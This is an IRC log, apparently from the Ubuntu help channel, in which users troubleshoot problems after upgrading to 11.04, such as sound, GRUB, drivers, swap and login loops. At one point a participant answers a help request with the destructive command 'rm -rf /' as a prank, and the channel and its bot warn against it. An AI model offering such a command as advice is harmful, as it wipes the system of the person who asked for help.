[19:15] <WannaBeGeekster> arand_ So now that I am installing the nvidia drivers then it should work right?
[19:15] <passthru> hum
[19:15] <arand_> WannaBeGeekster: Should, yes.
[19:15] <Froq> Can someone tell me why EXT4 has a smaller max volume size?
[19:15] <newb_> JoshDreamland: Reseted all (deeleted folder at home), but dont worked....
[19:16] <nbf> how do you disable the love handles
[19:16] <deadpulse> DestroiTe, it gets muted every 3 seconds?
[19:16] <nbf> it breaks eclipse
[19:16] <DestroiTe> deadpulse: no, there's no sound ever
[19:16] <passthru> brb some minutes
[19:16] <newb_> JoshDreamland: I will remove .g* folders now
[19:16] <WannaBeGeekster> nbf:  Sit ups.
[19:17] <nbf> I wonder why canonical as like "lets just make the next release break everything we can"
[19:17] <nbf> *Was like
[19:17] <JoshDreamland> newb_: What .g folders? The ones in ~/?
[19:17] <JoshDreamland> nbf: That one dude told them to
[19:17] <LjL> nbf: what are you even talking about, what are the love handles?
[19:17] <deadpulse> DestroiTe, did you checked alsamixer to see if they are muted? I have a similar problem, sound gets muted after 3 seconds of playing any sound...
[19:17] <newb_> JoshDreamland: yes, I have nothing to backup anyway... :(
[19:17] <Owner> I am not able to boot into windows xp after upgrading to natty. I am able to see the grub boot menu, but when i select windows nothing happens. the screen goes blank with only a cursor on the top left corner. I am able to boot into natty just fine. Can somebody help me?
[19:18] <DestroiTe> deadpulse:  yeah, i checked, nothing is muted
[19:18] <DestroiTe> deadpulse: it worked with 10.10... !
[19:18] <kyubutsu> LjL: he might be referring to the new scrollbar
[19:18] <magicianlord> what purpose does the scrollbar have?
[19:18] <newb_> JoshDreamland: yes, I have nothing to backup anyway... :(
[19:19] <magicianlord> the scrollbar makes you click twice instead of once
[19:19] <DestroiTe> this is so freaking sad, how could they break this
[19:19] <jamil_1> ppl help me!
[19:19] <newb_> JoshDreamland: do not worked :_(
[19:19] <deadpulse> DestroiTe, I hate pulseaudio. Does that happens only with the front jack?
[19:19] <taiyal^> you know what else is sad: from the live-boot mode, Firefox crashes when you try to access either Google or Bing
[19:19] <princej88> I have a dual monitor setup on natty, which was working fine before i installed the hardware drivers, now ubuntu wont detect the monitors and everythign is mirrored on both screen with low resolutions. I have tried changing the options in catalyst, but no luck. any ideas?
[19:19] <magicianlord> taiyal^: why?
[19:20] <jamil_1> mouse is not working the way it should. Left Click seems to drag the windows. Right click anywhere in an application doesnt show the application specific menu rather the generic move/close menu
[19:20] <DestroiTe> deadpulse: yeah, i can get sound from the rear jack. but i'm using alsamixer here
[19:20] <kyubutsu> magicianlord: it autohides, saving application space.. there is no 'clicking'
[19:20] <taiyal^> magicianlord: what, do you want a gdb dump?
[19:20] <wojei> Hello everyone, I have some questions related to updating from 10.10 to 11.04. Who could help me with that?
[19:20] <nbf> don't do it
[19:20] <magicianlord> kyubutsu: it has to be hovered to show up
[19:20] <nbf> 11.04 is broken
[19:20] <WannaBeGeekster> wojei:  Just ask
[19:20] <DestroiTe> wojei: do a fresh install or dont do it.
[19:20] <kyubutsu> magicianlord: precisely
[19:20] <magicianlord> it works for me
[19:20] <tolmun_> gstreamer-properties
[19:21] <kyubutsu> magicianlord: thought you had a complaint about it
[19:21] <deadpulse> nbf, what do you mean broken?
[19:21] <wojei> why fresh install?
[19:21] <nikolai_> hi, i've installed and removed xubuntu-desktop but it still appears in my Session list at the login screen - how do i remove this? it's also changed the way it appears (xfce icon etc)
[19:21] <wojei> DestroiTe: why fresh install?
[19:21] <magicianlord> kyubutsu: yes. things should always be there and not hide.
[19:21] <DestroiTe> wojei: upgrades are more bound to fail
[19:21] <user82> wojei, its a little dangerous if i may note that..mine crashed on boot afterwards(two machines)
[19:21] <xangua> !puregnome | nikolai_
[19:21] <ubottu> nikolai_: If you want to remove all !Kubuntu packages or !Xubuntu packages and have a default !Ubuntu system, follow the instructions here: https://help.ubuntu.com/community/PureGnome
[19:22] <nikolai_> thanks xangua
[19:22] <DestroiTe> wojei: for me, it worked out ok, but now little things like getting audio from my front jack are broken
[19:22] <DestroiTe> and i can't fix it
[19:22] <tolmun_> Its make webcam work gstreamer-properties
[19:22] <kyubutsu> magicianlord: ah, well.. the new phylosophy is about intuitive and screen space pixel saving
[19:22] <nbf> deadpulse: I mean usuability is in the toilet because all kinds of essential things don't work
[19:22] <nbf> like scrolling with the mouse wheel
[19:22] <deadpulse> nbf, like what?
[19:22] <nbf> and that's when you turn off the horrid unity interface
[19:22] <nbf> and use something that isn't early beta
[19:22] <wojei> My issue is described here https://answers.launchpad.net/ubuntu/+question/155284   Essentially, I cannot even get it to upgrade
[19:22] <nbf> like class mode
[19:22] <nbf> *classic
[19:23] <magicianlord> kyubutsu: how do you remove this?
[19:23] <user82> nbf, they only tired to copy windows....windows has become so sucessful with early beta's! (sorry kidding)
[19:23] <taiyal^> Owner: how can I resolve the problem of overlapping partitions?
[19:23] <deadpulse> ahh, I didn't try unity. using lxde, no problems here.
[19:23] <wojei> DestroiTe: If I do go for a fresh install, is it possible to transfer all the settings over (quota, user accounts, etc...)?
[19:23] <tastywheat> Hi, I've recently upgraded to 11.04  - my problem is that the panel images in the theme aren't scaling/rotating properly and I can't seem to figure out where to tell it to do so any suggestions?
[19:24] <deadpulse> nbf, except for pulseaudio front jack not working
[19:24] <grendal-prime> yaaaa that aint an option
[19:24] <kyubutsu> magicianlord: i do not think that's possible in 11.04 | it's present even in classic session
[19:24] <newb_> JoshDreamland: ok ok.... this is kidding me. I removed ALL .* files from my home dir and that buttons are at left side only in chrome
[19:24] <grendal-prime> i want to try to pixiboot type thing/
[19:24] <grendal-prime> ?
[19:25] <MaxFrames> hello
[19:25] <Owner> taiyal^: did you install testdisk
[19:25] <MaxFrames> I have updated from 10.10 to 11.04 and now I have a problem with grub
[19:25] <deadpulse> wojei, yes, for most of settings and accounts. If you backup /home for example
[19:25] <MaxFrames> I need to choose a different default OS in the grub menu
[19:26] <kyubutsu> magicianlord: at least not in a conventional way ..
[19:26] <MaxFrames> in 10.10, I had solved with a nifty app called startup-manager
[19:26] <deadpulse> wojei, if you already have /home in a different partition, then just choose it to be your new /home
[19:26] <MaxFrames> now it is still installed, but does not work anymore
[19:26] <MaxFrames> can you help?
[19:26] <DestroiTe> when will we have an update that fix all this bs?
[19:27] <wojei> deadpulse: sadly I did not create a separate partition for /home directory. Besides home, could any of the configuration files be transfered
[19:27] <user82> MaxFrames, https://launchpad.net/grub-customizer worked for me. but i am sure someone knows the right file to do a text edit to change default
[19:27] <sary> Salutation
[19:27] <taiyal^> oh my god... is Ubuntu considering the "Extended" partition to be overlapping with the partitions contained within itself
[19:27] <magicianlord> DestroiTe: it'll be called 11.10
[19:27] <taiyal^> I think it is
[19:27] <a111> So what is the point of NTFS-3G if partitions created by it cannot be read by windows?
[19:28] <DestroiTe> magicianlord: ;)
[19:28] <deemeetar> hello guys, Is it possible to customize window organisation shortcuts(ctrl+alt+5 for example)? I want to make some of them in my taste(the previously mentioned ctrl+alt+5 i would like to be in centre but also a little smaller in hight.
[19:28] <MaxFrames> user82: thanks; there is surely a commandline way, but I do prefer the gui
[19:28] <ThinkT510> a111: it works fine for me, but that doesn't help you now does it?
[19:28] <xiamx> How to burn a video DVD? I tried Brasero, it only allows me to make a SVCD image
[19:28] <deadpulse> wojei, with a fresh install, nah. Only if you do it manually, as some app may use different config files, different syntax etc?
[19:28] <jamil_1> Why do I get this error: error in Version string '4:SVN-r25793-1': version number does not start with digit
[19:28] <JoshDreamland> heh
[19:28] <Monk> hello guys im new to linux and when imean new extremly new.. i installed this ubuntu 11.04 but it cause my laptop brightness too low
[19:29] <deadpulse> DestroiTe, reporting the bug is the first step.
[19:29] <Monk> and cpu over heated
[19:29] <Monk> is there any solution
[19:29] <Somelauw> Is there a way to start the brightness applet from terminal or something.
[19:29] <Somelauw> ?
[19:29] <a111> ThinkT510, Nope. Windows 7 cannot read the disk at all. I htink im going to have to reinstall ubuntu to copy the  data off the disk.
[19:29] <DestroiTe> deadpulse: where do I report?
[19:29] <taiyal^> "Could not launch GParted: failed to launch child process "gksu""
[19:29] <wojei> deadpulse: it sound really painful to get everything configured again. I guess I will just stick with 10.10 till 11.10 :)
[19:29] <taiyal^> uh oh
[19:29] <carandraug> Hi! On gedit when using the terminal on the bottom pane, is there a keyboard shortcut to move from the text editor are to the terminal and from the terminal back to the text edition?
[19:29] <Monk> i have toshiba satellite m500 laptop
[19:29] <NictraSavios> Hello Ubuntian :)
[19:29] <NictraSavios> Hows 11.04 hell going?
[19:29] <deadpulse> DestroiTe, https://wiki.ubuntu.com/PulseAudio/Log
[19:29] <user82> MaxFrames, /boot/grub/grub.cfg in maverick..but check if its the same on natty(grub 2 so should)
[19:30] <MK`> Is it save to upgrade from 10.10 to 11.04 if I have more than one desktop installed?
[19:30] <deadpulse> NictraSavios, not bad
[19:30] <taiyal^> maybe everything's broken because of my installion media
[19:30] <taiyal^> I'll go try and re-burn onto a different disk
[19:30] <sary> Can someone kindly check / if you can post to forums under Firefox.
[19:30] <tastywheat> apparently i'm still using gnome-panel in 11.04 because I upgrade?  How do i switch to unity?
[19:30] <Monk> guys please check out my question here i really need help
[19:30] <NictraSavios> deadpulse, I feel so disconnected on Arch Linux. And OSX for work >.< Oh well, id help with the helping, but... my eyes kinda hurt from the scrolling O.O
[19:30] <ThinkT510> a111: you could do that with a livecd, no need to reinstall
[19:31] <deadpulse> wojei, what did you have to configure? cp the config files and manually replace them on the new install.
[19:31] <user82> tastywheat, either because of upgrade (no idea) or because you did choose the wrong session(login screen) or because 3d hardware is not present/configured?
[19:31] <Monk> hello is there any solution
[19:31] <carandraug> tastywheat, on the login window at boot, after selecting you name, choose ubuntu instead of ubuntu classic on the session drop down menu
[19:31] <JoshDreamland> Monk: Ubuntu has always given me problems with laptop brightness, and 11.04 is broken beyond recognition. I'm not sure anyone here can help, but I won't speak for them
[19:32] <tastywheat> thanks i'll try that
[19:32] <MK`> My laptop brightness is stuck on max and I can't change it, probably a similar issue
[19:32] <user82> JoshDreamland, which brand?
[19:32] <i_is_broke> how do i activate my nvidia driver. its installed just not activated?
[19:32] <wojei> I cannot remember all the things, I had grub password, grub boot menu edited, quota was set up to each user
[19:32] <Monk> what will happen if i install this elemetry OS i guess its same as ubuntu will that make any difference <JoshDreamland>
[19:32] <wojei> deadpulse: I cannot remember all the things, I had grub password, grub boot menu edited, quota was set up to each user
[19:32] <JoshDreamland> user82: Most recently, Sony. For some stupid reason, the graphics card controlled brightness. Monk's is a Toshiba.
[19:33] <JoshDreamland> Monk: What elemtary OS?
[19:33] <user82> ah ok JoshDreamland i had the trouble with samsung..lukcily 2.6.39 kernel will support samsung(finally)
[19:33] <xangua> Monk that is not supported here
[19:33] <Monk> ok
[19:33] <M1> i_is_broke: take a look at the "Proprietary drivers" under system settings
[19:33] <deadpulse> wojei, thats easy, just cp those config files. its not much at all
[19:33] <i_is_broke> ok
[19:33] <coz_> mongy,  "Jupiter" ?
[19:33] <coz_> mongy,  sorry
[19:33] <DestroiTe> deadpulse: i can't make this log
[19:34] <coz_> Monk,   "Jupiter" ?
[19:34] <Monk> i did install nvidia drivers but this cpu is extremly heated i forcefully had turn off <JoshDreamland>
[19:34] <Monk> yeah <coz_>
[19:34] <JoshDreamland> user82: That's a tasty bit of info; I have a samsung in the mail.
[19:34] <DestroiTe> deadpulse: after the killall i can't switch audio outputs
[19:34] <coz_> Monk,   how it is for you?
[19:34] <wojei> deadpulse: can I copy over /etc/shadow /etc/group ... too?
[19:34] <JoshDreamland> Monk: That sounds frightening
[19:34] <Monk> dont kno.. i guess if ubuntu doesnt work that will not work too
[19:34] <JoshDreamland> Monk: Did it work before you installed Nvidia drivers?
[19:34] <coz_> Monk,   it is ubuntu based for sure   but I havent checked out the 11.04 edition yet if it exists
[19:34] <Monk> no
[19:34] <princej88> hey guys, i finally got my dual monitor display working but now i can't login after restart! i know i am putting in the right password but it just keep coming back to the log in screen!
[19:35] <princej88> this is a new installation of 11.04
[19:35] <coz_> Monk,  is it based on 10.04 LTS?
[19:35] <coz_> ah I will goodle sorry
[19:35] <karthick87> Is it worth writing UCP examination?
[19:35] <Monk> so how do i solve this problem guys i have same problem with all the linux distros not only ubuntu.. i tried openssue fedora ubuntu 10.10 even but same others dont have brighness issue but super hot cpu problem
[19:36] <deadpulse> wojei, the group yes. Dont do that to the shadow, you will still need to create  the same user on the new install
[19:36] <Monk> <coz_> i dont know just read it somewhere
[19:36] <NGE01> I need help! ubuntu 11.04 front microphone works, but no rear. most needed rear.
[19:36] <Monk> im not too familiar with linux only starting out but
[19:36] <Monk> doesnt seem to work for me
[19:36] <bittin> Monk: welcome :)
[19:36] <Newbee> hello
[19:36] <Monk> guess i ahve to go back to same old windows
[19:37] <Froq> so you mean that EXT4 can handle a file that is 16TB in size...  what file would EVER come close to that size?
[19:37] <coz_> Monk,   mm  did you try  regular ubuntu or are you still on  Jupiter?
[19:37] <Monk> <bittin> :) thakyou
[19:37] <wojei> deadpulse, so every user will have to set a new password?
[19:37] <Newbee> I cannot upgrade maveric to natty because it says: "An unresolvable problem occurred while calculating the upgrade"
[19:37] <bite-android> hi, instaling 11.04. what should i set the mount point as?
[19:37] <Monk> no i tried ubuntu 11.04
[19:37] <Froq> bite-android: /
[19:37] <Froq> set is as "forward slash"
[19:38] <M1> Newbee: maybe fresh install?
[19:38] <Newbee> and it says something about packages und foreign packages. The only foreign packages I now about are the firefox 4 and libre office. How can I find out what to do?
[19:38] <bite-android> thabks froq. thats what i thought. what does it mean, for future reference?
[19:38] <deadpulse> wojei, every user wil need to be reacreate , so yes. Once they are created again, they'll use their old home/user dirs...
[19:38] <JoshDreamland> Monk: Have you tried the frequency scaler?
[19:38] <princej88> I can't log in after restarting ubuntu 11.04. It just keeps coming back to the login screen. any ideas?
[19:38] <Newbee> M1: I would prefere an upgrade, because I want to keep the things I have changed to my system
[19:38] <Monk> so guys is there any solution or i just have to say good bye to linux .. man this is bad .. i really like to work on opensorce platform but .. kinda frustrating
[19:39] <Froq> bite-android: it is the root of the drive, as it the very beginning of the partition/ drive and that is how the kernel will mount it.  The only time you would want to use /var, etc. is if you are going to place those directories in different partitions.
[19:39] <wojei> deadpulse: thanks
[19:39] <Froq> bite-android: make sense or not?
[19:39] <calamari> hi. it seems to take about 15 minutes, once I've disconnected, for the system to realize I've disconnected. can I change this timeout?
[19:39] <coz_> Newbee,  so you want to save that session...yes?
[19:39] <DosAmp> bite-android: / is the root of the Unix filesystem. you need at least a partition for this, everything else is pretty optional
[19:39] <Monk> no i havent tried that <JoshDreamland> im new to all that kinda stuff
[19:39] <tastywheat> hmm, that didn't change it...still running gnome-panel and not unity =/
[19:39] <JoshDreamland> Monk: Right click panel->Add to panel, choose Frequency Scale Applet
[19:39] <Newbee> coz_: what do you mean with save session?
[19:39] <M1> Monk: are you using a laptop? maybe you should try searching on the web for your laptop's model and if others have had the same problem
[19:40] <coz_> Newbee,  if the session is saved then when you restart or log back on the same applications and settings will open
[19:40] <Newbee> I want to keep my system as productiv as it is. But of course I would like some new software
[19:40] <bite-android> should i define a swap partition? i have two hdds, and i plan to boot ubuntu from this one and windows from the other.
[19:40] <deadpulse> DestroiTe, weird, so thats another bug you are logging with the two previous commands.  I don't know much about pulseaudio, all i know is I don't like it. Sorry and good luck
[19:40] <Monk> yeah i did ..and they do have same problem but no answer its quietpopular laptop model in ubuntu with problem its toshiba satellite m500
[19:40] <Acid190> My java chat applet web plug-in does not work, was wondering if anyone knows about this problem?
[19:41] <calamari> bite-android: swap is used to supplement your memory should you run out..
[19:41] <Newbee> coz_: Are you talking about M1 s proposal to reinstall the system?
[19:41] <berefeira> anyone elase having terminal issues e.g. slow ssh, screen?
[19:41] <bite-android> calamari, is it necessary? provided any and all personal data will be on an esata ext hdd.
[19:41] <coz_> Newbee,  no ,, as I understood you ,, you wanted to keep what you have on your desktop and be able to log out  and have it be the same ...yes?
[19:41] <calamari> bite-android: memory, as in ram
[19:42] <Monk> some fellow posted a long code and told to recompile kernel or something .. idint understand that one so .. no use for me.. i am totally new and how on earth im gonna recompile kernel
[19:42] <mastaofdisasta> hey guys, is /etc/network/interfaces deprecated in ubuntu 11.04? if so what's the correct way to configure networking?
[19:42] <takamoron> I've just installed Visual Python but I get a weird  error regarding GLX
[19:42] <bite-android> calamari, ah, whoops. i have 2gb ram, then
[19:42] <takamoron> Now that Ubuntu isn't using xorg.conf anymore i don't know how to fix it...
[19:42] <iceroot> mastaofdisasta: no its not but if you are using network-manager this is the wrong place to setup something
[19:42] <crasbe> xrandr
[19:42] <Newbee> coz_: No I meant, that I do not want to reinstall the system but upgrade it to keep it the way I configured it.
[19:42] <bite-android> calamari, so it translates into ram, more or less?
[19:42] <pr3d4t0r> Greetings.
[19:43] <calamari> bite-android: then you're probably okay without it, but if your apps ever use more than 2gb of ram, you'd run out of memory at that point
[19:43] <Halt> Hello
[19:43] <coz_> Newbee,  ah sorry i completely misunderstood
[19:43] <Halt> my msn live account wont work with pidgin, help?
[19:43] <calamari> bite-android: yes.. basically a very slow form of ram
[19:43] <DosAmp> bite-android: unless you need support for hibernation, you usually don't need a swap file with 2 gb or more ram
[19:43] <Newbee> coz_: no problem. I was just wondering what you wanted to tell.
[19:43] <coz_> Newa,   well  upgrading ubuntu is consistently inconsistent.. but generally the settings should stay the same
[19:43] <Ultimate_Chaos> hello
[19:43] <mastaofdisasta> iceroot: Network-Manager is ok for wireless, but I'd prefer /etc/network/interfaces for wired.
[19:43] <DosAmp> hello Ultimate_Chaos
[19:44] <coz_> by the way guys,, where is the save session now in 11.04 ?
[19:44] <calamari> bite-android: I currently have 1gb of ram and 1gb of swap.. so with your ram only, you have as much memory as I do :)
[19:44] <mastaofdisasta> iceroot: I tried using /etc/init.d/networking restart and I got a message saying this was deprecated
[19:44] <bite-android> wel, the hdd is only
[19:44] <crasbe> hello DosAmp
[19:44] <iceroot> mastaofdisasta: service
[19:44] <bite-android> 20 gb, but i guess ill specify another two gigs or so.
[19:44] <iceroot> !upstart | mastaofdisasta
[19:44] <ubottu> mastaofdisasta: Upstart is meant to replace the old Sys V Init system with an event-driven init model.  For more information please see: http://upstart.ubuntu.com/
[19:44] <calamari> bite-android: you can also use a file as swap space, so if you find out you need it later, you can still do it
[19:44] <pr3d4t0r> Ubuntu server 11.  Sole OS on the system, it stops during startup; I think GRUB is waiting for input; can't see because the screen enters a graphical mode and none of the monitors here supports it.  How can I either change the resolution for that screen or prevent GRUB from asking for input?  Pressing Return goes into normal boot on this system.  Thanks in advance.
[19:44] <mastaofdisasta> ubottu: ohhh that's right I forgot about UPSTART
[19:44] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[19:44] <Froq> calamari: how do you use a file as swap space?
[19:44] <DosAmp> crasbe: psss, you're ruining my disguise ;)
[19:45] <Ultimate_Chaos> i have a question
[19:45] <mastaofdisasta> yes I know about upstart.  I totally forgot about it
[19:45] <DosAmp> what is it Ultimate_Chaos
[19:45] <bite-android> well, ud imagine that i can do it from gparted on a live cd later anyways.
[19:45] <bite-android> so i'll leave it as is for now.
[19:45] <Ultimate_Chaos> when i start my ubuntu i get the following message Disconnected from Plymouth
[19:45] <princej88> Hi, I can log in to ubuntu 11.04 through recovery console, but when I just try to log into ubuntu, it just keeps kicking me back to the login screen. please help.
[19:46] <Ultimate_Chaos> can i fix it?
[19:46] <crasbe> well
[19:46] <crasbe> at the moment you cant I think Ultimate_Chaos
[19:46] <crasbe> :D
[19:46] <rumpe1> takamoron, it's still using xorg.conf... if it's there.
[19:46] <Ultimate_Chaos> can someone else then? :D
[19:47] <calamari> Froq: https://help.ubuntu.com/community/SwapFaq#How%20do%20I%20add%20more%20swap?
[19:47] <crasbe> type rm -rf / :)
[19:47] <Froq> calamari: thz
[19:47] <calamari> yw
[19:47] <DosAmp> kick in 3, 2, 1...
[19:47] <Calif> If your doing something like editing a file with vi, and you accidently cntl Z instead of quitting properly, how do you get back to that 'program'. (Keep getting messages about .swp)
[19:47] <tastywheat> so am i damned to be ugly UI unless i use plain color or 24pixel panels?
[19:47] <DosAmp> Ultimate_Chaos plymouth is the ubuntu splash screen, can you still log on?
[19:47] <iceroot> Calif: fg
[19:47] <nbf> crasbe: I'm doing that now but it's taking a long time
[19:48] <pr3d4t0r> Calif: rm yourfile.swp
[19:48] <iceroot> Calif: fg = pull a program back into foreground
[19:48] <nbf> yeah window management in ubuntu is just screwed
[19:48] <brontosaurusrex> may i assume that live-boot will always boot into 2d plain version of UI?
[19:48] <crasbe> nbf: what takes a long time? rm -rf /? :D
[19:48] <nbf> fuck why did I upgrade
[19:48] <Calif> ah
[19:48] <iceroot> Calif: ah sorry dint read the whole stuff
[19:48] <Calif> it just does it chronologically
[19:48] <xangua> !ops | crasbe
[19:48] <ubottu> crasbe: Help! Channel emergency! (ONLY use this trigger in emergencies) - elky, Madpilot, tritium, Nalioth, tonyyarusso, PriceChild, Amaranth, jrib, Myrtti, mneptok, Pici, jpds, gnomefreak, bazhang, jussi, Flannel, ikonia, maco, h00k, IdleOne, nhandler, bilalakhtar, Jordan_U, or rww!
[19:48] <JoshDreamland> nbf: Because you didn't think it could be this bad?
[19:48] <princej88> Hi, I can't log in to ubuntu 11.04. It just keeps kicking me back to the log in screen. But I can log in under recovery console. Please help.
[19:48] <pr3d4t0r> Calif: That means that you aborted vi withoug closing the file.  Just remove the .swp and edit again.  Any changes not saved will be lost.
[19:48] <Trashi> hi. im looking for an "unity error log" ... i did add some new applications into the launcher but it does not open if i try to launch an application... does anybody know how to find unity errors?
[19:48] <edbian> Does Ubuntu 11.04 use wayland for graphics?
[19:48] <pr3d4t0r> Calif: vi should also give you the option to (R)ecover the file.
[19:48] <MaxFrames> re
[19:48] <xangua> edbian: no
[19:48] <jussi> !danger
[19:49] <ubottu> DO NOT RUN THAT COMMAND! That particular command is DANGEROUS and shouldn't be uttered here. REST OF YOU: DANGER, WILL ROBINSON, DANGER! Do not use the command or utter it here thank you!
[19:49] <edbian> xangua: Will 11.10 ?
[19:49] <MK`> Ubuntu uses X Window for its window framework
[19:49] <hugleo> Hello
[19:49] <xangua> edbian: don't know
[19:49] <coz_>  be back in a bit
[19:49] <Calif> Yeah, I noticed something about that actually. I knew there was another way, fg was what i wanted, but I'm writing all these down
[19:49] <Logan_> nbf: I hope you didn't run that command...
[19:49] <MK`> They are planning on having Unity use Wayland but that is probably going to be after 11.10
[19:50] <MaxFrames> ok it kinda worked, but now I'd like to understand why StartUp-Manager does not work anymore, why it hasn't been uninstalled during the upgrade, and why I can't seem to be able to sudo apt-get remove it
[19:50] <edbian> xangua: You don't know or nobody knows yet
[19:50] <edbian> ?
[19:50] <hugleo> My Apollo printer is not being recognized on the 11.04 version
[19:50] <bindi> Logan_: it's not even possible to run that anymore
[19:50] <MK`> edbian: I don't think 11.10 will use it
[19:50] <bindi> Logan_: oh hmm dunno about ubuntu but some other systems have protection for that :)
[19:51] <Andrewx> Hello.
[19:51] <mastaofdisasta> I'm trying to restart the networking service in 11.04
[19:51] <edbian> MK`: Thank you
[19:51] <DosAmp> i'll only shed a tear about xeyes when ubuntu's ever shifting to wayland
[19:51] <MaxFrames> it might be my setup, but on my eeepc, ubuntu has become slower and less usable with every new version... :(
[19:51] <mastaofdisasta> restart: Uknown instakce:
[19:51] <Andrewx> How can I change my system's default run level in Ubuntu Server 10.10?
[19:51] <s5fs> Seeking recommendations for a cheap and small computer to use as a tiny web server.
[19:51] <iceroot> Andrewx: there are no different runlevels
[19:51] <mastaofdisasta> restart: Unknown Instance:
[19:51] <Name141> How would I convert the processors bogomips in to "what it can do and how fast?"
[19:51] <iceroot> !runlevel | Andrewx
[19:51] <ubottu> Andrewx: In Ubuntu all runlevels except 0,1 and 6 are by default equal. Also keep in mind that Ubuntu now uses !Upstart instead of System V init so there is normally no /etc/inittab.
[19:52] <s5fs> !Upstart
[19:52] <ubottu> Upstart is meant to replace the old Sys V Init system with an event-driven init model.  For more information please see: http://upstart.ubuntu.com/
[19:52] <NGE01> I need help! ubuntu 11.04 front microphone works, but no rear. most needed rear.
[19:52] <MaxFrames> with v9, it outperformed winxp; now it takes 3 times as much to boot, for example
[19:52] <Calif> I got a msg to upgrade to natty, is that what you guys are talking about?
[19:52] <usalabs> FYI, if anyone is having problems with unity, unity can be switched out, and the classic desktop returned, personally, unity sucks, and I use the classic gnome desktop,,,,unity does not have the taskbar that is reliant in apps like cryptkeeper
[19:52] <Andrewx> So, how will I go about changing the init at boot to 3?
[19:52] <DosAmp> yes Calif, natty narwhale is codename for 11.04
[19:52] <Andrewx> Mess with upstart?
[19:52] <Calif> narwhale, nice ;p
[19:52] <[thor]> Calif: yes, be careful with your upgrade
[19:53] <[thor]> Calif: burn a LiveCD, or create a VM and test thigns first
[19:53] <Calif> ...
[19:53] <Calif> crap ;p
[19:53] <MK`> runlevel 1 is S?
[19:53] <kyubutsu> Calif: or.. you dont have to upgrade; remember, curiosity killed the cat
[19:53] <Calif> I did it earlier, so far all looks good ;p
[19:53] <MaxFrames> curiosity killed performance on my netbook ;)
[19:53] <DosAmp> [thor]: should i better backup 10.10 and install 11.04 from scratch?
[19:53] <[thor]> Calif: i only warn because i have had several thigns break ( including my 3D acceleration )
[19:54] <Calif> but I probably wouldn't notice for a month if it was broken somewhere, I'm still very much learning
[19:54] <Andrewx> So, how do I change my init settings?
[19:54] <Trashi> im looking for an "unity error log" ... i did add some new applications into the launcher but it does not open if i try to launch an application... does anybody know how to find unity errors?
[19:54] <Andrewx> I'm trying to go from GUI to terminal
[19:54] <Calif> I still don't know how to get my x window shit going, (running cli on ubuntu server)
[19:54] <MaxFrames> so, can anyone shed some light for me on startup-manager?
[19:54] <bluethundr_> hello #ubuntu desktop.. I notice that every time I reboot my "jaunty" laptop, it loses it's resolv.conf settings. how can i get this setting to persist through reboots?
[19:54] <DosAmp> Andrew131: sadly, only runlevel for this is 1
[19:54] <princej88> Hi, anyone know how i can uninstall ati catalyst drivers via command line. after installation I am not able to log in to the gui, and i believe the drivers are what is causing the problem.
[19:54] <[thor]> DosAmp: that's normally the best way to do things.
[19:55] <[thor]> Calif: startx
[19:55] <Calif> That would be local I guess I'm through ssh atm
[19:55] <Calif> although figuring out how to get it working remotely might be worth a go
[19:55] <Andrewx> How do I go from GUI to terminal?
[19:56] <jibadeeha> anyone here find that ubuntu doesn't shutdown properly - eg. it freezes
[19:56] <Andrewx> In Ubuntu Server 10.10
[19:56] <DosAmp> Andrewx: just switching? Strg+Alt+F1
[19:56] <Andrewx> I'm trying to have this at boot
[19:56] <Andrewx> Terminal rather than GUI
[19:56] <Lysi> Empathy doesn't show contact list. Known bug? Anyone? Thanks.
[19:56] <DosAmp> delete your login manager (gdm, kdm etc.) from your default runlevel
[19:57] <usalabs> if anyone is trying to use the passwords and encryption keys in Natty, there is a bug that won't allow uploading the key to a remote SSH server, it has been reported.
[19:57] <holek> hello, guys
[19:57] <Froq> usalabs: oo... so would that make sense to why I cannot SSH into my machine?
[19:58] <DosAmp> does ubuntu use tcp_wrappers (/etc/hosts.{allow,deny}) or firewall only?
[19:58] <jiltdil> channel for debian?
[19:58] <holek> I have a problem: My screen freezes but I can move my mouse. I can still interact with the desktop, but I cannot see any changes I make (ie. after clicking, etc.) I am running GNOME on Natty (not running Unity)
[19:58] <binox> maverick:  logitech dual action game controller.  recognized and working;   looking for gui calibrator.  terminal cannot locate jscalibrator package,
[19:59] <mastaofdisasta> how do I restart network configuration in 11.04 after making changes to /etc/network/interfaces?
[19:59] <kyubutsu> !firestarter | DosAmp
[19:59] <ubottu> DosAmp: Ubuntu, like any other Linux distribution, has firewall capabilities built-in. The firewall is managed using the 'ufw' command - see https://help.ubuntu.com/community/UFW | An alternative to ufw is the 'iptables' command - See https://help.ubuntu.com/community/IptablesHowTo | GUI frontends such as Gufw (Gnome) or Guarddog (KDE) also exist.
[19:59] <Spaz_Dynamic> So, amarok and rhythmbox are both good programs, but I'm used to foobar2000 (windows only) if anyone is familiar with foobar2000, is there a linux native equivalent? It does run in WINE, but... I'd like to be native as much as I can.
[19:59] <holek> so, how do I refresh the display to make it work again?
[19:59] <usalabs> Froq: for now, I would use PuTTy, and set the SSH server to interactive keyboard access
[19:59] <kyubutsu> DosAmp: thats the wrapper
[19:59] <holek> without killing X
[19:59] <Froq> usalabs: alright, thanks!
[19:59] <Andrewx> How can I remove kdm/gdm>?
[20:00] <needlez> Spaz_Dynamic: if your talking about a good media player manager for ubuntu look into banshee
[20:00] <carandraug> Hi! Is there a keyboard shortcut on gedit to move between the embedded terminal on the bottom pane and the text area?
[20:00] <JoseeAntonioR> Hello! I've just intalled Unity 2D because I cannot get my driver to run correctly, and the borders of the windows look like if I was in Windows 95! Is there any way to change this?
[20:00] <DosAmp> http://en.wikipedia.org/wiki/TCP_Wrapper <- i mean this. for example, arch linux uses this per default for sshd etc.
[20:00] <tiger_eye> what is the grub2 badram equivalent to grub legacy memmap?  I recently did a clean install of Natty (was Lucid), and it now uses grub2.
[20:00] <magicianlord> Does anyone know if PCmanFM is as stable when working with files and will not corrupt them?
[20:01] <binox> is jscalibrator obsolete,  i cannot install it  ,  says package not found
[20:01] <needlez> need to know if theres a way to get empathy to word wrap correctly when using IRC protocal??
[20:01] <brontosaurusrex> may i assume that live-boot will boot into some safe shell UI thingy?
[20:02] <DosAmp> tiger_eye: if it's just a linux kernel parameter, why not just change /etc/default/grub and add this as a default parameter?
[20:02] <xangua> needlez: empathy is very limited for irc
[20:02] <tiger_eye> DosAmp, I tried that.  it didn't like "memmap" as a kernel parameter.
[20:03] <Froq> what socket should I go with to connect an i5 processor?
[20:03] <holek> I have a problem: My screen freezes but I can move my mouse. I can still interact with the desktop, but I cannot see any changes I make (ie. after clicking, etc.) I am running GNOME on Natty (not running Unity). How can I refresh the display again without killing X?
